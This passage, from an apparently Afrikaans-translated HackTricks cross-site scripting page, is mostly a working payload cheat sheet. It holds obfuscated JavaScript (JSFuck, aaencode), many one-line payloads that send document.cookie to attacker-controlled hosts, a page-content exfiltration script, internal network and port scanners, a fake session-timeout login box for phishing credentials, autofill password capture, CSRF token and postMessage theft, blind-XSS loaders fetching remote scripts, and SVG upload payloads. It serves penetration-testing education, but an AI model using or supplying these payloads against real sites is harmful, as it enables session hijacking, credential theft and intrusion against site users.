+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||
```
|
||
|
||
```javascript
|
||
//aaencode
|
||
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
|
||
```
|
||
|
||
```javascript
|
||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||
```
|
||
## XSS algemene lading
|
||
|
||
### Verskeie lading in 1
|
||
|
||
{% content-ref url="steal-info-js.md" %}
|
||
[steal-info-js.md](steal-info-js.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Haal Koekies op
|
||
```javascript
|
||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
|
||
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
|
||
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
|
||
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
|
||
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
|
||
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
|
||
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
|
||
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
|
||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||
```
|
||
{% hint style="info" %}
|
||
Jy sal **nie in staat wees om die koekies vanaf JavaScript te benader** as die HTTPOnly-vlag in die koekie ingestel is nie. Maar hier het jy [sekere maniere om hierdie beskerming te omseil](../hacking-with-cookies/#httponly) as jy gelukkig genoeg is.
|
||
{% endhint %}
|
||
|
||
### Steel Bladsy-inhoud
|
||
```javascript
|
||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||
var attacker = "http://10.10.14.8/exfil";
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||
}
|
||
}
|
||
xhr.open('GET', url, true);
|
||
xhr.send(null);
|
||
```
|
||
### Vind interne IP's
|
||
```html
|
||
<script>
|
||
var q = []
|
||
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
|
||
var wait = 2000
|
||
var n_threads = 51
|
||
|
||
// Prepare the fetchUrl functions to access all the possible
|
||
for(i=1;i<=255;i++){
|
||
q.push(
|
||
function(url){
|
||
return function(){
|
||
fetchUrl(url, wait);
|
||
}
|
||
}('http://192.168.0.'+i+':8080'));
|
||
}
|
||
|
||
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
|
||
for(i=1; i<=n_threads; i++){
|
||
if(q.length) q.shift()();
|
||
}
|
||
|
||
function fetchUrl(url, wait){
|
||
console.log(url)
|
||
var controller = new AbortController(), signal = controller.signal;
|
||
fetch(url, {signal}).then(r=>r.text().then(text=>
|
||
{
|
||
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
|
||
}
|
||
))
|
||
.catch(e => {
|
||
if(!String(e).includes("The user aborted a request") && q.length) {
|
||
q.shift()();
|
||
}
|
||
});
|
||
|
||
setTimeout(x=>{
|
||
controller.abort();
|
||
if(q.length) {
|
||
q.shift()();
|
||
}
|
||
}, wait);
|
||
}
|
||
</script>
|
||
```
|
||
### Poortskandeerder (fetch)
|
||
```javascript
|
||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||
```
|
||
### Poortskander (websockets)
|
||
```python
|
||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||
for(var i=0; i<ports.length; i++) {
|
||
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
|
||
s.start = performance.now();
|
||
s.port = ports[i];
|
||
s.onerror = function() {
|
||
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
s.onopen = function() {
|
||
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
}
|
||
```
|
||
_Kort tye dui op 'n reagerende poort_ _Langer tye dui op geen reaksie nie._
|
||
|
||
Gaan die lys van verbode porte in Chrome na [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||
|
||
### Boks om vir geloofsbriewe te vra
|
||
```markup
|
||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||
```
|
||
### Self-vul wagwoorde vasvangst
|
||
```javascript
|
||
<b>Username:</><br>
|
||
<input name=username id=username>
|
||
<b>Password:</><br>
|
||
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
|
||
method:'POST',
|
||
mode: 'no-cors',
|
||
body:username.value+':'+this.value
|
||
});">
|
||
```
|
||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs as die klient 'n gestoorde wagwoord kies en niks skryf nie, sal die geloofsbriewe uitgelek word.
|
||
|
||
### Sleutelstrokieskrywer
|
||
|
||
Deur net op github te soek, het ek 'n paar verskillende gevind:
|
||
|
||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||
* Jy kan ook metasploit gebruik `http_javascript_keylogger`
|
||
|
||
### Steel CSRF-tokenne
|
||
```javascript
|
||
<script>
|
||
var req = new XMLHttpRequest();
|
||
req.onload = handleResponse;
|
||
req.open('get','/email',true);
|
||
req.send();
|
||
function handleResponse() {
|
||
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
|
||
var changeReq = new XMLHttpRequest();
|
||
changeReq.open('post', '/email/change-email', true);
|
||
changeReq.send('csrf='+token+'&email=test@test.com')
|
||
};
|
||
</script>
|
||
```
|
||
### Steel van PostMessage-boodskappe
|
||
```markup
|
||
<img src="https://attacker.com/?" id=message>
|
||
<script>
|
||
window.onmessage = function(e){
|
||
document.getElementById("message").src += "&"+e.data;
|
||
</script>
|
||
```
|
||
### Misbruik van Dienswerkers
|
||
|
||
{% content-ref url="abusing-service-workers.md" %}
|
||
[abusing-service-workers.md](abusing-service-workers.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Toegang tot Skaduwee-DOM
|
||
|
||
{% content-ref url="shadow-dom.md" %}
|
||
[shadow-dom.md](shadow-dom.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Meertaliges
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||
|
||
### Blinde XSS-payloads
|
||
|
||
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
||
```markup
|
||
"><img src='//domain/xss'>
|
||
"><script src="//domain/xss.js"></script>
|
||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
|
||
|
||
<!-- html5sec - Self-executing focus event via autofocus: -->
|
||
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
|
||
|
||
<!-- html5sec - JavaScript execution via iframe and onload -->
|
||
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
|
||
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
|
||
|
||
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
|
||
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
|
||
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- xsshunter.com - Sites that use JQuery -->
|
||
<script>$.getScript("//domain")</script>
|
||
|
||
<!-- xsshunter.com - When <script> is filtered -->
|
||
"><img src=x id=payload== onerror=eval(atob(this.id))>
|
||
|
||
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
|
||
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
|
||
|
||
<!-- noscript trick -->
|
||
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
||
|
||
<!-- whitelisted CDNs in CSP -->
|
||
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
|
||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
### Regex - Toegang tot Versteekte Inhoud
|
||
|
||
Vanaf [**hierdie skryfstuk**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, is dit steeds moontlik om hulle te vind in JS-eienskappe in verskillende objekte. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
|
||
```javascript
|
||
// Do regex with flag
|
||
flag="CTF{FLAG}"
|
||
re=/./g
|
||
re.test(flag);
|
||
|
||
// Remove flag value, nobody will be able to get it, right?
|
||
flag=""
|
||
|
||
// Access previous regex input
|
||
console.log(RegExp.input)
|
||
console.log(RegExp.rightContext)
|
||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||
```
|
||
### Brute-Force Lys
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||
|
||
## XSS Misbruik van ander kwesbaarhede
|
||
|
||
### XSS in Markdown
|
||
|
||
Kan Markdown-kode inspuit wat gerender sal word? Dalk kan jy XSS kry! Kontroleer:
|
||
|
||
{% content-ref url="xss-in-markdown.md" %}
|
||
[xss-in-markdown.md](xss-in-markdown.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XSS na SSRF
|
||
|
||
Het jy XSS op 'n **webwerf wat kaching gebruik**? Probeer **om dit na SSRF op te gradeer** deur Edge Side Include Injection met hierdie lading:
|
||
```python
|
||
<esi:include src="http://yoursite.com/capture" />
|
||
```
|
||
Gebruik dit om koekiebeperkings, XSS-filters en baie meer te omseil!\
|
||
Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||
|
||
### XSS in dinamies geskep PDF
|
||
|
||
As 'n webbladsy 'n PDF skep deur gebruikersbeheerde insette te gebruik, kan jy probeer om die bot wat die PDF skep te **mislei** om **arbitrêre JS-kode uit te voer**.\
|
||
Dus, as die **PDF-skepper-bot** 'n soort **HTML-tjokkies vind**, gaan dit hulle **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Bediener XSS** te veroorsaak.
|
||
|
||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||
{% endcontent-ref %}
|
||
|
||
As jy nie HTML-tjokkies kan inspuit nie, kan dit die moeite werd wees om te probeer om **PDF-data in te spuit**:
|
||
|
||
{% content-ref url="pdf-injection.md" %}
|
||
[pdf-injection.md](pdf-injection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XSS in Amp4Email
|
||
|
||
AMP, gemik op die versnelling van webbladprestasie op mobiele toestelle, sluit HTML-tjokkies aangevul deur JavaScript in om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n verskeidenheid komponente vir verskeie kenmerke, toeganklik via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
|
||
|
||
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud te interaksieer binne hul e-posse.
|
||
|
||
Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||
|
||
### XSS-lêers oplaai (svg)
|
||
|
||
Laai 'n lêer soos die volgende een op as 'n beeld (vanaf [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||
```markup
|
||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||
Content-Length: 574
|
||
-----------------------------232181429808
|
||
Content-Disposition: form-data; name="img"; filename="img.svg"
|
||
Content-Type: image/svg+xml
|
||
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
|
||
<script type="text/javascript">
|
||
alert(1);
|
||
</script>
|
||
</svg>
|
||
-----------------------------232181429808--
|
||
```
|
||
|
||
```markup
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<script type="text/javascript">alert("XSS")</script>
|
||
</svg>
|
||
```
|
||
|
||
```markup
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
||
<script type="text/javascript">
|
||
alert("XSS");
|
||
</script>
|
||
</svg>
|
||
```
|
||
|
||
```svg
|
||
<svg width="500" height="500"
|
||
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||
<circle cx="50" cy="50" r="45" fill="green"
|
||
id="foo"/>
|
||
|
||
<foreignObject width="500" height="500">
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
|
||
</foreignObject>
|
||
</svg>
|
||
```
|
||
|
||
```html
|
||
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
|
||
```
|
||
|
||
```xml
|
||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||
```
|
||
Vind **meer SVG ladingstowwe in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||
|
||
## Verskeie JS-truuks & relevante inligting
|
||
|
||
{% content-ref url="other-js-tricks.md" %}
|
||
[other-js-tricks.md](other-js-tricks.md)
|
||
{% endcontent-ref %}
|
||
|
||
## XSS-bronne
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||
* [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Indien jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Ander maniere om HackTricks te ondersteun:
|
||
|
||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||
|
||
</details>
|